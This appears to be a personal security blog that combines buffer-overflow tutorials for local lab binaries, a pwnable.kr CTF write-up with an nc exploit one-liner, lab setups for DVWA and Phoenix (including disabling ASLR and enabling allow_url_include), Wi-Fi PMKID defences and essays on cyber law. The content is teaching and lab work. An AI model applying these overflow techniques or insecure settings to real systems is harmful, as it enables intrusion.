轉念反思 - 楊和生 (Sang Young)

凡事總有兩面。網絡世界有利用網絡犯罪的｢黑帽黑客｣，亦有保衛網絡的｢白帽黑客｣，兩者同時懂得黑客技術。但原來最大的技術不是技術層面上，而是捉摸人性心態。盲目瘋傳訊息往往助長黑客的氣焰，只要抱持懷疑態度，敢於質詢，不用特別技術，我們都可以終止一切謠言。

HOWTO : Exploit Education - Phoenix on Kali Linux Rolling

apt install qemu-system

wget https://github.com/ExploitEducation/Phoenix/releases/download/v1.0.0-alpha-3/exploit-education-phoenix-amd64-v1.0.0-alpha-3.tar.xz

tar -xJvf exploit-education-phoenix-amd64-v1.0.0-alpha-3.tar.xz

cd exploit-education-phoenix-amd64

chmod +x boot-exploit-education-phoenix-amd64.sh

To run the virtual machine :

./boot-exploit-education-phoenix-amd64.sh

Open another terminal :

ssh -p 2222 user@localhost

The password is "user".

Inside the virtual machine, go to :

cd /opt/phoenix

You can choose either "amd64" or "i486" to do the Phoenix exploits.

cd /opt/phoenix/amd64

or

cd /opt/phoenix/i486

That's all! See you.

Basic Buffer Overflow Exploit Make Easy

According to Wiki, a buffer overflow, or buffer overrun, is an anomaly where a program, while writing data to a buffer, overruns the buffer's boundary and overwrites adjacent memory locations.

When buffer overflow occurs, attacker can run malicious code accordingly and may escalate the privilege as a result.

I introduce a very simple way to develop the buffer overflow exploit. No complicated procedure can be observed. The exploit development is running on 64-bit Kali Linux.

The following is the C source code of the "vuln.c" :



The "hacker" function is never be called from the program. Our aim is to run it as a result.

To compile the source to an executable :

gcc vuln.c -o vuln -fno-stack-protector -m32

If you cannot compiile to 32-bit, please install the following package :

apt install gcc-multilib

To make it simple, we disable the Address Space Layout Randomization (ASLR) :

echo 0 | sudo tee /proc/sys/kernel/randomize_va_space

In order to inspect the executable file, we need to download a tool namely "checksec.sh".

wget https://www.trapkit.de/tools/checksec.sh

Since the file is in Windows DOS format, we need to change it to be Unix format and executable :

dos2unix checksec.sh
chmod +x checksec.sh

Run the following command and you will find out that "NX" is enabled.

./checksec.sh --file vuln



To double check the file is compiled into 32-bit.

file vuln

vuln: ELF 32-bit LSB pie executable, Intel 80386, version 1 (SYSV), dynamically linked, interpreter /lib/ld-linux.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=bc2907521e9842167e7544516653843949dabc9e, not stripped

When everything is alright, we run it to see how it works.

./vuln

What is your name?
samiux
Hey samiux, you're harmless, aren't you?

To see if we can crash it or not with 50 characters :

python -c 'print("A"*50)' > a.txt

cat a.txt | ./vuln

What is your name?
Hey AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA, you're harmless, aren't you?
Segmentation fault

Okay, it does crash. Now, we fire up the gdb to do the exploit development :

gdb ./vuln



Feed in the junk characters.

(gdb) r < a.txt



The program is crashed as expected.

We check with the registers to see what had happened.

(gdb) info registers



We noticed that the EIP is overwritten with "A". That means, we can control the EIP then. Once EIP can be controlled, we can run any code from that point. It is because EIP Instruction Pointer Register always contains the address of the next instruction to be executed.

Now, we need to find out how many junk characters to cause the crash. We use the "pattern_create.rb" to create a unique pattern.

Open another terminal and run :

/usr/share/metasploit-framework/tools/exploit/pattern_create.rb -l 50 > b.txt

We feed the unique pattern to the program.

(gdb) r < b.txt



The program is crashed again as expected.

We check the registers again and found out that EIP is overwritten with "0x41346241".

(gdb) info registers



We use the tool namely "pattern_offset.rb" to find out the offset. The offset is 42 for this case.

/usr/share/metasploit-framework/tools/exploit/pattern_offset.rb -q 41346241
[*] Exact match at offset 42

According to the source code, we know that there are 3 functions, they are main, inSecure and hacker. Our aim here is to run hidden function "hacker". So, we need to find out the address of the function of hacker.

(gdb) info functions



(gdb) disass hacker



We find out that the address of function hacker is "0x565561b9".

Now, the payload will be as the following :

42's "A" and [the address of hacker function]

The PoC Python code "poc.py" :



Exploit it now :

python poc.py | ./vuln

What is your name?
Hey AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA�aUV, you're harmless, aren't you?
No, I'm a hacker!
Segmentation fault

The hidden hacker function is ran as a result.


Bonus

To find the EIP address :

python -c 'print("A"*42)+ "B"*4' > c.txt

(gdb) r < c.txt



(gdb) info registers



(gdb) x/50xw $esp -100



The EIP address is 0xffffd32c.


Samiux
OSCE OSCP OSWP
May 9, 2019, Hong Kong, China

Exploit Education - Phoenix (Stack Overflows)

Exploit Education is formerly Exploit Exercise. They have a series of exploit exercises. The new release is Phoenix which covers the following topics :

- Network programming
- Stack overflows
- Format string vulnerabilities
- Heap overflows

I do the Stack overflows (i486) section recently. However, I cannot solve Stack-Six as it is too difficult for me at the moment.

You can download the virtual machine at here. The current image is v1.0.0-alpha-3 and released on 16th January 2019.

For not being a spoiler, the exploit codes are not shown in the video.



That's all! See you.

VulnHub - Stack Overflows for Beginners 1

Stack Overflows for Beginners 1 is created by Jack Barradell-Johns who is a university student of University of Sheffield. He developed this box for Ethical Hacking Society of the university.

There are 5 flags (including root flag) to capture that are based on basic stack buffer overflow. The box is built on Kali Linux and is about 8 GB to download.

The first level is level0 and the username and password are both "level0".


To avoid for being spoiler, the flags and exploit codes are not shown in the video.




Samiux
OSCE OSCP OSWP
May 2, 2019 Hong Kong, China

HUAWEI MateBook X Pro on Ubuntu Desktop 18.04.2 LTS

CPU - Intel Core i7-8550U
RAM - 16GB LPDDR3
SSD - 512GB NVMe PCIe SSD
Thunderbolt 3 - USB Type C
Display - 13.9 inches LTPS Touchscreen (3,000 x 2,000) (260 PPI)
Graphic - nVidia M150 and Intel HD Graphic on CPU
F2 key - UEFI BIOS
F12 key - Boot list

This is 2018 model. The 2019 (HUAWEI MateBook X Pro New) is not available here at the moment.

If you want to, you need to update BIOS on Windows 10 environment before installing Ubuntu. To update it, just download the driver and install the ".INF".

You can install Ubuntu Desktop 18.04.2 LTS on HUAWEI MateBook X Pro without any problem no matter "Secure Boot" is enable or not. However, it cannot be shutdown or reboot properly unless you installed nVidia display driver on it.

Make sure the "Problem Reporting" is set to "Automatic" at "Privacy" of "Settings" under the top right hand conner.

Meanwhile, you may need to install "net-tools" for seeing the settings of the network interfaces.

sudo apt install net-tools

nVidia Display Driver

You can install the latest nVidia Open Source Display Driver version 418 on it via Ubuntu PPA. VirtualBox 6.0.6 guest VM requires newer version of nVidia display driver. I tested it with version 319 but the guest vm cannot be refreshed properly near the mouse pointer.

sudo add-apt-repository ppa:graphics-drivers/ppa
sudo apt-get update

(if you have older version of nVidia driver, delete it first)
sudo apt purge nvidia*

sudo apt install nvidia-driver-418 nvidia-settings

GNOME Extensions

GNOME Extensions are very useful. I recommend you to install the following for this laptop.

sudo apt chrome-gnome-shell gnome-tweak

Go to the "https://extensions.gnome.org/" to install extensions by clicking the "ON/OFF" button on the Extensions pages.

EasyScreenCast to record the screen in video format.

OpenWeather to see the current weather of your location.

CPUfreq to change the CPU between "powersave" or "performance" as well as "Turbo Boost".

VirtualBox Applet for easy access the VirtualBox virtual machines when VirtualBox is installed.

Extension Update Notifier to notifiy you about the update of Extensions.

Caffeine to disable and enable the screen saver.

Clipboard Indicator to manage your copy and paste clipboard data.

Lock Keys to indicate the "Nums" and "CapLock" keys status.

Harddisk LED to display the activity of the hard drive/SSD.

That's all! See you.

中國警用智能眼鏡

中國香港網絡罪行硏究

中國香港對於網絡罪行的法例比較分散，它們分佈在電訊條例、刑事罪行條例和盜竊罪條例中。我嘗試以我有限的法律知識去硏究一下中國香港的網絡罪行的法例，這純粹是我個人的意見，並不代表香港政府和香港警務處的立場。

以下的硏究是假設在沒有受攻擊方的書面同意書或授權書下地進行。

掃描器

大多數國家及地方都視掃描活動為犯法。至於中國香港又如何呢？

掃描器 (Scanner) 大致有分漏洞掃描器 (Vulnerability Scanner) 和端口掃描器 (Port Scanner) 兩大類。漏洞掃描器又大致有分網絡漏洞掃描器 (Network Vulnerability Scanner) 及網站漏洞掃描器 (Web Application Vulnerability Scanner) 兩大類。在搜證方面，我個人認為端口掃描器的活動比較難搜集證據，而最容易的是網站漏洞掃描器；至於網絡漏洞掃描器就介乎兩者之間。

基於網站漏洞掃描器的活動有可能影響和干擾網站的正常運作，這就有可能觸犯刑事毀壞罪 (Criminal Damage)。而網絡漏洞掃描器活動的影響和干擾相對比較少，但因搜證也不難，所以漏洞掃描器活動亦都有可能觸犯刑事毀壞罪。至於端口掃描活動相對對目標機器的影響和干擾極之少，但並不代表端口掃描活動不犯法，只是搜證比較困難罷了。

阻斷服務或分佈式阻斷服務攻擊

阻斷服務 (Denial of Service, DoS) 和分佈式阻斷服務 (Distributed Denial of Service, DDoS) 攻擊非常明顯地影響和干擾目標機器的正常運作，而且搜證也不太難，所以這活動有可能觸犯了刑事毀壞罪。

域名非法導向和跨站腳本攻擊

當網域名稱系統 (Domain Name Service, DNS) 被脅持或網站的跨站腳本 (Cross Site Scripting, XSS) 漏洞被利用，網站可能會被這樣的活動而非接觸式地被改頭換面 (Defacing)。

這活動亦有可能觸犯了刑事毀壞罪或不誠實使用電腦罪 (Obtaining Access Computer with Criminal or Dishonest Intent)，雖然在搜集證據上有一定的困難。

以上的例子在一般大眾是比較難理解的，所以在此列舉作出硏究，以免觸犯法律而不自知。所以掃描目標機器、阻斷服務攻擊和域名導向是有可能觸犯香港法例的。


Samiux
OSCE OSCP OSWP
二零一九年三月廿日，中國香港

参考資料

香港法例第二百章 刑事罪行條例 第五十九及六十節
香港法例第二百章 刑事罪行條例 第一六一節

中華人民共和國網絡安全法精選

二零一六年十一月七日通過，並於二零一七年六月一日施行的「中華人民共和國網絡安全法」(下稱「網絡安全法」)，一共有七十九條，涵蓋範圍甚廣，由國家至人民，由商業到關鍵基礎設施，由我國至國際都有講述。

以下精選一些與我們 (人民) 有關的條例講述一下，從而了解「網絡安全法」要求網絡使用者的義務和責任。其餘的條文是有關網絡產品、服務提供者和關鍵基礎設施部門在「網絡安全法」的責任和義務，有關法例的理念和罰則亦有提及。以下條文是原文照錄。

第十二條 - 網絡活動參與者的權利和義務

國家保護公民、法人和其他組織依法使用網絡的權利，促進網絡接入普及，提升網絡服務水平，為社會提供安全、便利的網絡服務，保障網絡信息依法有序自由流動。

任何個人和組織使用網絡應當遵守憲法法律，遵守公共秩序，尊重社會公德，不得危害網絡安全，不得利用網絡從事危害國家安全、榮譽和利益，煽動顛覆國家政權、推翻社會主義制度，煽動分裂國家、破壞國家統一，宣揚恐怖主義、極端主義，宣揚民族仇恨、民族歧視， 傳播暴力、淫褻色情訊息，編造、 傳播虛假信息擾亂經濟秩序和社會秩序，以及侵害他人名譽、私隱、知識產權和其他合法權益等活動。

第二十條 - 網絡安全人才培養

國家支持企業和高等學校、職業學校等教育培訓機構開展網絡安全相關教育與培訓， 採取多種方式培養網絡安全人才，促進網絡安全人才交流。

第二十二條 - 網絡產品和服務提供者的安全義務

網絡產品、服務應當符合相關國家標準的強制性要求。網絡產品、服務的提供者不得設置惡意程序；發現其網絡產品、服務存在安全缺陷、漏洞等風險時，應當立即採取補救措施，按照規定及時告知用戶並向有關主管部門報告。

網絡產品、服務的提供者應當為其產品、服務持續提供安全維護；在規定或者當事人約定的期限內，不得終止提供安全維護。

網絡產品、服務具有收集用戶信息功能的，其提供者應向用戶明示並取得同意；涉及用戶個人信息的，還應遵守本法和有關法律、行政法規關於個人信息保護的規定。

第二十七條 - 禁止危害網絡安全的行為

任何個人和組織不得從事非法侵入他人網絡、干擾他人網絡正常功能、竊取網絡數據等危害網絡安全的活動；不得提供專門用於從事侵入網絡、干擾網絡正常功能及防護措施、竊取網絡數據等危害網絡安全活動的程序、工具；明知他人從事危害網絡安全的活動的，不得為其提供技術支持、廣告推廣、支持結算等幫助。

第二十八條 - 網絡運營者的技術支持和協助義務

網絡運營者應當為公安機關、國家安全機關依法維護國家安全和偵查犯罪的活動提供技術支持和協助。

第三十條 - 執法訊息用途限制

網信部門和有關部門在履行網絡安全保護職責中獲取的信息，只能用於維護網絡安全的需要，不得用於其他用途。

第四十一條 - 個人信息收集使用規則

網絡運營者收集、使用個人信息，應當遵循合法、正當、必要的原則，公開收集，使用規則，明示收集、使用信息的目的、方式和範圍，並經被收集者同意。

網絡運營者不得收集與其提供的服務無關的個信息，不得違反法律、行政法規的規定和雙方的約定收集、使用個人信息，並應當依照法律、行政法規的規定和與用戶的約定，處理其保存的個人信息。

第四十二條 - 網絡運營者的個人信息保護義務

網絡運營者不得洩露、篡改、毀損其收集的個人信息；未經被收集者同意，不得向他人提供個人信息。但是，經過處理無法識別特定個人且不能復原的除外。

網絡運營者應當採取技術措施和其他必要措施，確保其收集的個人信息安全，防止信息洩露、毀損、掉失。在發生或者可能發生個人信息洩露、損毀、掉失的情況時，應當立即採取補救措施，按照規定及時告知用戶並向有關主管部門報告。

第四十六條 - 禁止利用網絡從事與違法犯罪相關的活動

任何個人和組織應當對其使用網絡的行為負責，不得設立用於實施詐騙，傳授犯罪方法，制作或者銷售違禁物品、管制物品等違法犯罪活動的網站、通訊群組，不得利用網絡發佈涉及實施詐騙，制作或者銷售違禁物品、管制物品及其他違法犯罪活動的信息。

第四十七條 - 網絡運營者處理違法信息的義務

網絡運營者應當加強對其用戶發佈的信息的管理，發現法律、行政法規禁止發佈或者傳輸的信息的，應當立即停止傳輸該信息，採取消除等處置措施，防止信息擴散，保存有關記錄，並向有關主管部門報告。

第四十八條 - 電子信息和應用軟件的信息安全要求及其提供者處置違法信息的義務

任何個人和組織發送的電子信息、提供的應用軟件，不得設置惡意程序，不得含有法律、行政法規禁止發佈或者傳輸的信息。

電子信息發送服務提供者和應用軟件下載服務提供者，應當履行安全管理義務，知道其用戶有前款規定行為的，應當停止提供服務，採取消除等處置措施，保存有關記錄，並向有關主管部門報告。

第六十三、六十四、六十七、七十四及七十五條是講述有關罰則，這裡不便詳細描述。

「網絡安全法」涵蓋的範圍甚廣，包括個人信息收集處理，個人私隱處理，網絡犯罪等行為，以及網絡產品不可以有惡意程序等都有包含。可見此「網絡安全法」是非常文明和先進，而且撰寫此法例的人員具有高度的電腦知識。

本文只講述對我們人民息息相關的條文，至於其他條文請參閱「網絡安全法」。最後，本文是参考「中華人民共和國網絡安全法」實用版一書。


Samiux
OSCE OSCP OSWP
二零一九年三月十九日，中國香港

HOWTO : Install DVWA on Ubuntu 18.04.1 LTS

Damn Vulnerable Web App (DVWA) is a PHP/MySQL web application that is damn vulnerable. Its main goals are to be an aid for security professionals to test their skills and tools in a legal environment, help web developers better understand the processes of securing web applications and aid teachers/students to teach/learn web application security in a class room environment.


Step 1 :

sudo apt install php7.2 php7.2-gd php-mysql mysql-server apache2 git

Set the MySQL server password as prompt.

Step 2 :

sudo mysql -u root -p

CREATE DATABASE dvwadb;

GRANT ALL PRIVILEGES ON dvwadb.* TO ‘dvwa’@’localhost’ IDENTIFIED BY ‘dvwapassword’;

Step 3 :

sudo nano /etc/php/7.2/apache2/php.ini

Change the "Off" to "On" :

allow_url_include = On

Step 4 :

cd /var/www/html

sudo git clone https://github.com/ethicalhack3r/DVWA.git

cd /var/www/html/DVWA

sudo chmod 777 /var/www/html/DVWA/config
sudo chmod 666 /var/www/html/DVWA/external/phpids/0.6/lib/IDS/tmp/phpids_log.txt
sudo chmod 777 /var/www/html/DVWA/hackable/uploads/

Step 5 :

sudo nano /etc/apache2/sites-enabled/000-default.conf

Append "/DVWA" as the end of "/var/www/html" :

DocumentRoot /var/www/html/DVWA

Step 6 :

sudo cp /var/www/html/DVWA/config/config.inc.php.dist /var/www/html/DVWA/config/config.inc.php

sudo nano /var/www/html/DVWA/config/config.inc.php

Make changes as the following :

$_DVWA[ 'db_server' ] = '127.0.0.1';
$_DVWA[ 'db_database' ] = 'dvwadb';
$_DVWA[ 'db_user' ] = 'dvwa';
$_DVWA[ 'db_password' ] = 'dvwapassword';

Step 7 :

Go to https://www.google.com/recaptcha/admin to generate the keys for 'Insecure CAPTCHA' module and add to the related items at "config.inc.php".

Step 8 :

sudo systemctl restart apache2

Step 9 :

http://[server_ip_address]

The username is "admin" while the password is "password".

Beware that the DVWA is vulnerable and do not allow it to be accessed via public.

Step 10 (Optional) :

sudo apt install php7.2-fpm

sudo a2enmod proxy_fcgi setenvif
sudo a2enconf php7.2-fpm

That's all! See you.

HOWTO : Install docker-ce and nvidia-docker2 on Ubuntu 18.04.2 and Kali Linux 2019.1

docker-ce requires nvidia-docker2 on CUDA system.

Install nVidia driver :

On Ubuntu 18.04.2 :
HOWTO : Intel and nVidia GPUs on Ubuntu 18.04.1 LTS

On Kali Linux 2019.1 :
HOWTO : nVidia and HashCat on Kali Linux 2018.4

Uninstall docker.io (if any)

sudo apt remove docker docker-engine docker.io containerd runc docker-compose

Ready for docker-ce

On Ubuntu 18.04.2 :

curl -fsSL https://download.docker.com/linux/ubuntu/gpg | sudo apt-key add -

sudo add-apt-repository "deb [arch=amd64] https://download.docker.com/linux/ubuntu $(lsb_release -cs) stable"

sudo apt update

On Kali Linux 2019.1 :

curl -fsSL https://download.docker.com/linux/debian/gpg | sudo apt-key add -

echo "deb [arch=amd64] https://download.docker.com/linux/debian stretch stable" > /etc/apt/sources.list.d/docker-ce.list

apt update

Ready for nvidia-docker2

On Ubuntu 18.04.2 :

curl -s -L https://nvidia.github.io/nvidia-docker/gpgkey | sudo apt-key add -

distribution=$(. /etc/os-release;echo $ID$VERSION_ID)

curl -s -L https://nvidia.github.io/nvidia-docker/$distribution/nvidia-docker.list | sudo tee /etc/apt/sources.list.d/nvidia-docker.list

sudo apt update

On Kali Linux 2019.1 :

curl -s -L https://nvidia.github.io/nvidia-docker/gpgkey | sudo apt-key add -

curl -s -L https://nvidia.github.io/nvidia-docker/debian9/nvidia-docker.list | tee /etc/apt/sources.list.d/nvidia-docker.list

apt update

Install docker-ce and nvidia-docker2

apt-cache madison docker-ce
apt-cache madison nvidia-docker2

Find the most matched versions and the following settings are for my system at the time of this writing :

On Ubuntu 18.04.2 :

sudo apt install docker-ce=18.03.1-ce-0-debian docker-ce-cli=18.03.1-ce-0-debian containerd.io nvidia-docker2=2.0.3+docker18.03.1-1 nvidia-container-runtime=2.0.3+docker18.03.1-1

On Kali Linux 2019.1 :

apt install docker-ce=18.03.1-ce-0-debian docker-ce-cli=18.03.1-ce-0-debian containerd.io nvidia-docker2=2.0.3+docker18.03.1-1 nvidia-container-runtime=2.0.3+docker18.03.1-1

If the versions are not matched, the installation will be failed.

Install docker-compose

sudo apt install python3-pip
pip3 install docker-compose pip --ugrade

Configure docker-ce

sudo nano /etc/docker/daemon.json

Add the following in front of "runtimes": { :

"default-runtime": "nvidia",

sudo systemctl enable docker
sudo systemctl start docker

Basic usage

docker run --runtime=nvidia --rm nvidia/cuda nvidia-smi

Remark

Make sure the nvidia driver and CUDA versions in the host computer is equal or greater than the versions in docker containers. Otherwise, docker containers refuse to start.

That's all! See you.

Tensorflow Docker for Deep Learning Programming

Tensorflow is an open source machine learning framework for everyone. The Tensorflow Dockers are built for CPUs support SSE4.2, AVX2 and AVX512 feature which will use the full power of the CPU to train the model.

Features

- Tensorflow 1.12.0
- Ubuntu 18.04.x
- Python 3.6.x
- CPU with SSE4.2 (native docker)
- CPU with AVX2 (default docker)
- CPU with AVX512 (avx512 docker)

Tensorflow Docker is an Open Source Project which is released under GPLv3 License and it is developed by Samiux.

Reference

Tensorflow Docker for Deep Learning Programming

That's all! See you.

Kali Linux Lite Docker For Lightweight Pentesting

Offensive Security builds a Kali Linux base Docker image which do not have any tool on it. Meanwhile, there is no graphic interface (Display Manager) too.

Kali Linux Lite Docker is a bundle of scripts to generate Docker image for lightweight pentesting purpose. Not all the tools available in Kali Linux are on the generated image. If so, it takes more that 20GB spaces and it breaks the policy of the Docker - microservices. The image is trying to keep it as small as possible. The Kali Linux Lite Docker image can be ran on Linux, Windows and MacOSX without any problem. The scripts are released under GPLv3 by Samiux.

The script will generate an image of around 4-5GB in size. This image include the following command line (text mode) tools :

(A) Scanners
- nmap, wpscan, dirb, masscan, unicornscan, netdiscover

(B) Exploitation
- metasploit-framework exploitdb sqlmap

(C) Debuggers and Compilers
- gdb gdb-doc, gdb-peda, build-essential

(D) Webshells and network tools
- net-tools, webshells, weevely

(E) CTF related
- steghide xxd


Source

Kali Linux Lite Docker For Lightweight Pentesting

HOWTO : Fix Ubuntu Cannot Reboot With Command Properly

When you have an UEFI BIOS on your computer and installed with Ubuntu, you may encounter the computer cannot be reboot with command properly. We can fix it by the following method.

sudo nano /etc/default/grub

Locate the following line :

GRUB_CMDLINE_LINUX=""

and replaces it with :

GRUB_CMDLINE_LINUX="reboot=efi"

After that, run the following command and reboot with command :

sudo update-grub

sudo reboot

That's all! See you.

HOWTO : Fix Temporary Failure In Name Resolution On Ubuntu 18.04.1

If you are using Ubuntu 18.04.1 Server version, you may encounter a ping problem. That is, you can ping with IP address but cannot ping with domain name. We can fix this problem by the following method.

sudo mv /etc/resolv.conf /etc/resolv.conf-original
sudo ln -s /run/systemd/resolve/resolv.conf /etc/resolv.conf
sudo systemctl restart systemd-resolved

You can ping with domain name now.

That's all! See you.

如何成為黑客 (入門篇)

甚麼是黑客？

黑客 (Hacker) 一般是指技術精湛的人，能令設備做出一些不在設計情況之下運作。

在資訊科技安全領域下，黑客是指一個具有精湛電腦技術的人，能使電腦或其程式於不在其設計的情況下運作。在我等來說，黑客有分黑帽子 (Black Hat)，白帽子 (White Hat)，灰帽子 (Grey Hat) 及腳本小子 (Script Kiddies)。

黑帽子是指所謂駭客 (Cracker)，他們是作奸犯科之流，但技術精湛。

白帽子是指資訊科技安全專家或硏究員，他們測試系統漏洞，並公報結果給有關開發人員或機構。

灰帽子也是資訊科技安全專家或硏究員，他們也測試系統漏洞，但他們大多數不會向有關開發人員或機構公報其發現，他們會直接披露 (Full Disclosure)。他們多數走在法律邊緣，但並沒有惡意。

至於腳本小子，他們並不是資訊科技界中人。他們會利用黑客工具作樂或者作惡。


為何要成為黑客？

無論你是作業系統開發員、應用系統開發員、程式設計員、系統管理員或者是普通的用戶，都需要學習黑客的知識和技術。當你明白黑客的攻擊是如何進行的話，你就會知道如何去防禦了。正所謂「未知攻，焉知防」。

再者，當完成編寫程式後，可以自行進行滲透測試 (Penetration Testing)，以確保製成品沒有明顯的高危漏洞。


黑客的基本要求

黑客必須具有一定的英語水平，因為大多數的技術文獻都是用英語撰寫的。黑客也必須具有基本的編程能力，如 C、PHP 或 Python 等語言。除此之外，黑客也必須略懂網絡知識和技術。最後亦都是最重要的，黑客更必須具有創意的頭腦，思路不會被既有的框架所束縛。

當然，黑客要對各個版本的微軟視窗有所認識，這亦包括伺服器版本。除此之外，黑客亦會對 Linux、Unix (BSD 和 macOS 等) 有所了解。


學習與實習平台

網絡上有很多的實習的平台，有的是在綫上進行，有的是在綫下進行。有的需要付費的，但大多數都是免費的。以下是一些比較知名的平台：

(一) Hack The Box (綫上，付費或免費，要求有一定的基本能力方可注册)；
(二) VulnHub (綫下，免費)。

網上有很多黑客技術的演練，大多是文章或視頻。比較知名的視頻為 IppSec 的 YouTube 視頻。

國內和國外有很多高質素的滲透測試書籍，我們可以從中可以學習到很多資訊科技安全的知識。網絡上也不乏高質素的資源可供存取。


認證與否？

如果你要在這個行業打滾的話，我建議考取一些認證。但如果你只是業餘又或者是賞金獵人 (Bug Bounty Hunter) 的話，有否認證並沒有必然關係。當然，如果有認證的話，在聲譽上就比較完美了。

比較知名的賞金獵人平台：

(一) HackerOne；
(二) BugCrowd。

至於認證方面，在中國香港可以考到的認證，而且在香港具有知名度的有：

(一) OSCP (在廿三小時四十五分內完成，是實戰型試題；在家裏應試，但會被監察)；
(二) CEH (在四小時內完成，是選擇題試題)；
(三) CEH (Practical) (在六小時內完成，是實戰型試題)；
(四) CISSP (在三小時內完成，是選擇題試題)。

OSCP 和 CEH 是滲透測試的範疇，而 CISSP 是資訊科技安全管理的範疇。


結論

要成為黑客，我們需要多閱讀和多實踐，以確保認識和了解相關技術。但最重要的是不要觸犯法律，每個人都要對自己的行為負責。未經他人書面授權，不可以對他人作出滲透測試，否則將會當郎入獄，前途盡毀。

Samiux
OSCE OSCP OSWP
寫於二零一九年一月九日，中國香港

HOWTO : Protect from being attacked by PMKID attack

On Aug 04, 2018, the developer of hashcat discovers a new way to attack WPA/WPA2 Wifi, namely PMKID attacks, when he is going to find a new way to attack new WPA3. This attack requires no Wifi user attached to the Wifi router and no need 4-way handshake. Meanwhile, almost all modern Wifi routers are vulnerable to this attack.

I conducted a quick test on my living area recently and found all Wifi routers (including mine) are vulnerable to this attack. If working with hashcat and/or good dictionaries properly, the WPA PSK (pre-Shared Key) password can be obtained without any problem.

Comes to the conclusion, WPA2 is no longer safe!

However, we can protect our Wifi by following methods :

(1) Make the WPA PSK password as complex and as long as possible (mine is 26 characters long);
(2) Make sure the WPA PSK password cannot be found in the available dictionaries (such as rockyou);
(3) Make sure your Wifi router can prevent ARP spoofing (Address Resolution Protocol) or apply MAC address filtering when possible;
(4) If possible, change your WPA PSK password at least once a month; and
(5) Keep your Wifi signal as weak as possible. Yes, makes it as weak as possible.

Reference

[1] New attack on WPA/WPA2 using PMKID
[2] Youtube PMKID attack Demo

That's all! See you.

HOWTO : Solution of bof at Toddler's Bottle

Toddler's Bottle is one of the CTF games at pwnable.kr website. I am going to do the game is namely bof. There are already many writeups in the internet. However, I am going to explain what I learnt from this game.

Website : http://pwnable.kr/play.php (Select bof)
Source Code : http://pwnable.kr/bin/bof.c
Binary : http://pwnable.kr/bin/bof

Exploit Server : pwnable.kr:9000

The source code of the bof binary is provided. I examine the source code and found out that we are going to replace the "key" from "0xdeadbeef" to "0xcafebabe". The "overflowme" variable is 32 characters long. No matter what you entered in the "overflowme" variable, the "key" is not changed as it is hard coded. It is a buffer overflow challenge. However, we are not going to take control of the return address this time.



Load the gdb with PEDA and check with "checksec". It is confirmed that the NX is enabled with another restrictions.

gdb -q ./bof



Run "disass main" to disassemble the "main" function.

disass main



Run "disass func" to disassembe the "func" function.

disass func



In the "func" function, the following codes that I am interested in.

0x00000649 <+29>:    lea  eax,[ebp-0x2c]
0x0000064c <+32>:    mov  DWORD PTR [esp],eax
0x0000064f <+35>:    call 0x650
0x00000654 <+40>:    cmp  DWORD PTR [ebp+0x8],0xcafebabe
0x0000065b <+47>:    jne  0x66b

The "eax,[ebp-0x2c]", "ebp-0x2c" may be contained the value of "overflowme" variable and saved in eax register.

The "DWORD PTR [ebp+0x8],0xcafebabe", "ebp+0x8" may be contained the value of "key", that is "0xdeadbeef".

I am going to set a breakpoint at "0x0000065b <+47>".

b *func+47



Then "r" run the program and is prompted for entering "helloworld" as the "overflowme".



After entering the "helloworld", I am going to examine the "eax" and "ebp+0x8".

x/x $ebp+0x8
x/s $eax



The result confirmed what I suspected. I am going to check the offset the two addresses with Python. The offset is 52.



Once get the offset, I am going to overwrite the "0xdeadbeef" with "0xcafebabe" with the exploit code. The "cat" command is for the interactive with the shell.

(python -c 'print "A"*52 + "\xbe\xba\xfe\xca"'; cat -) | nc pwnable.kr 9000



The flag is :

daddy, I just pwned a buFFer :)




That's all! See you.

HOWTO : Flash Player on Kali Linux 2018.4

Kali Linux 2018.4 does not come with latest version of Flash Player. Since Flash Player may be vulnerable, we need to keep it to be updated. However, most tutorials in the internet teach you copy the Flash Player object file (libflashplayer.so) to /usr/lib/mozilla/plugins/ only. It is very hard to keep track the latest update this way. The following method may be the best way to install Flash Player on Kali Linux 2018.4. It works for Firefox and Chrome as well as Chromium.

Step 1 :

apt update
apt install browser-plugin-freshplayer-pepperflash pepperflashplugin-nonfree

Step 2 :

Go to https://github.com/cybernova/fireflashupdate to download fireflashupdate.sh

wget https://raw.githubusercontent.com/cybernova/fireflashupdate/master/fireflashupdate.sh

chmod +x fireflashupdate.sh
./fireflashupdate.sh

Step 3 :

To update Flash Player :

./fireflashupdate.sh

Step 4 :

You may need to change the settings at Preferences menu of Firefox Add-ons - Plugins - Shockwave Flash from "Ask to Activate" to "Always Activate".

That's all! See you.

HOWTO : Virtualbox 5.2.22 on Kali Linux 2018.4

The current version of Virtualbox for Kali Linux 2018.4 is the latest verion 5.2.22. Since the official version of Virtualbox cannot be installed on Kali Linux, the Kali version is to be installed. Luckily, it is the latest version.

apt update
apt install virtualbox-dkms virtualbox-ext-pack virtualbox-guest-additions-iso

That's all! See you.